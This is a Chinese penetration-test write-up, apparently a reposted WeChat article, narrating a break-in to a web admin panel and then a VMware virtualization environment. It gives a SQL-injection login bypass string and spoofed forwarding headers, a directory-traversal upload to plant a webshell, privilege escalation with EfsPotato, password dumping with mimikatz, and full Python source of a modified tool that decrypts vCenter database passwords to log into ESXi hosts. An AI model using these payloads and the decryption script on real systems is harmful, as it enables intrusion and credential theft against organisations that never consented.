GFYL文件上传跨目录突破技巧

admin 2024年3月13日12:34:56评论4 views字数 2133阅读7分6秒阅读模式

0

免责声明

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

GFYL文件上传跨目录突破技巧

前言

随着演练常态化后,这比赛来越难打了,身为一个0day匮乏安服生存压力好大。这次小领导给压力了难打兄弟也要冲一把,用简单朴素得口令继续日站。

01

正文

fofa找到了一个可以爆破的资产,一波弱口令没进去,本想扭头跑路,随手试了一下万能密码,这站也没太大反应。
admin' or '1'='1/111

GFYL文件上传跨目录突破技巧

万能密码加个XFF头登录进来了,既然破站给机会了这波就要珍惜。

X-Real-IP: 127.0.0.1X-Forwarded-For (XFF): 127.0.0.1X-Forwarded-Host: 127.0.0.1X-Client-IP: 127.0.0.1

GFYL文件上传跨目录突破技巧

找到一处文件上传点,上传文件提示路径缺失。

这里下一步思路基本上就是跨目录了。

GFYL文件上传跨目录突破技巧

目录穿越文件上传边界突破、(身为一个安服仔,到这里其实可以和领导交差了。漏扫得工资干这个确实伤身体)

GFYL文件上传跨目录突破技巧

GFYL文件上传跨目录突破技巧

推荐一个好用的哥斯拉土豆提权插件

https://github.com/zcgonvh/EfsPotato

直接system权限

GFYL文件上传跨目录突破技巧

mimi抓密码,找到口令,复用了几台机器权限发现全都在虚拟化环境上。

GFYL文件上传跨目录突破技巧

去poc扫描一波,找到vSphere。GFYL文件上传跨目录突破技巧

踩了一些POC只发现一个任意文件读取漏洞,直接读取默认配置文件获取到mssql账密。

GFYL文件上传跨目录突破技巧

由于mssql执行命令低权限并且有杀软,命令执行拿vc控制权有些费劲

于是尝试使用VC数据库解密工具,对其数据库账密进行解密登录esxi。

https://github.com/shmilylty/vhost_password_decrypt

vhost_password_decrypt 这工具多多少少有些bug,浪费了很多时间改工具,改好得源码给大家放下面了。

import base64import sysfrom Crypto.Cipher import AESusage='''usage:    python3 decrypt.py symkey.dat password.enc'''def pkcs7unpadding(text):    length = len(text)    padding_length = ord(text[-1])    return text[0:length-padding_length]def decrypt(key, enc_passwords):    passwords = []    key_bytes = bytes.fromhex(key)    for enc_password in enc_passwords:        content = base64.b64decode(enc_password)        iv_bytes = content[:16]        enc_password_bytes = content[16:]        cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)        password_bytes = cipher.decrypt(enc_password_bytes)        password = str(password_bytes, encoding='utf-8')        password = pkcs7unpadding(password)        line = f'{password}'        print(line) # show the password as you save it to a file         passwords.append(line)    return passwordsdef save_decrypt_password(path, passwords):    data = 'n'.join(passwords)    with open(path, 'w') as file:        file.write(data)def get_encrypt_password(path):    enc_passwords = []    with open(path, 'r') as file:        for line in file:            line = line.strip().strip('*')            enc_passwords.append(line)    return enc_passwordsdef get_key(path):    with open(path, 'r') as file:        key = file.read().strip()    return keydef main():    if len(sys.argv) != 3:        print(usage)        exit(1)    key = get_key(sys.argv[1])    encrypt_passwords = get_encrypt_password(sys.argv[2])    save_path = "result.txt"    passwords = decrypt(key, encrypt_passwords)    save_decrypt_password(save_path, passwords)if __name__ == '__main__':    main()

解密后登录4台ESXI。

密后得dmo东西:

GFYL文件上传跨目录突破技巧

GFYL文件上传跨目录突破技巧

02

总结

这么多年过去了,我这种渗透工匠还能找到点存在感。

原文始发于微信公众号(前进四安全团队):GFYL文件上传跨目录突破技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月13日12:34:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GFYL文件上传跨目录突破技巧http://cn-sec.com/archives/2571671.html

发表评论

匿名网友 填写信息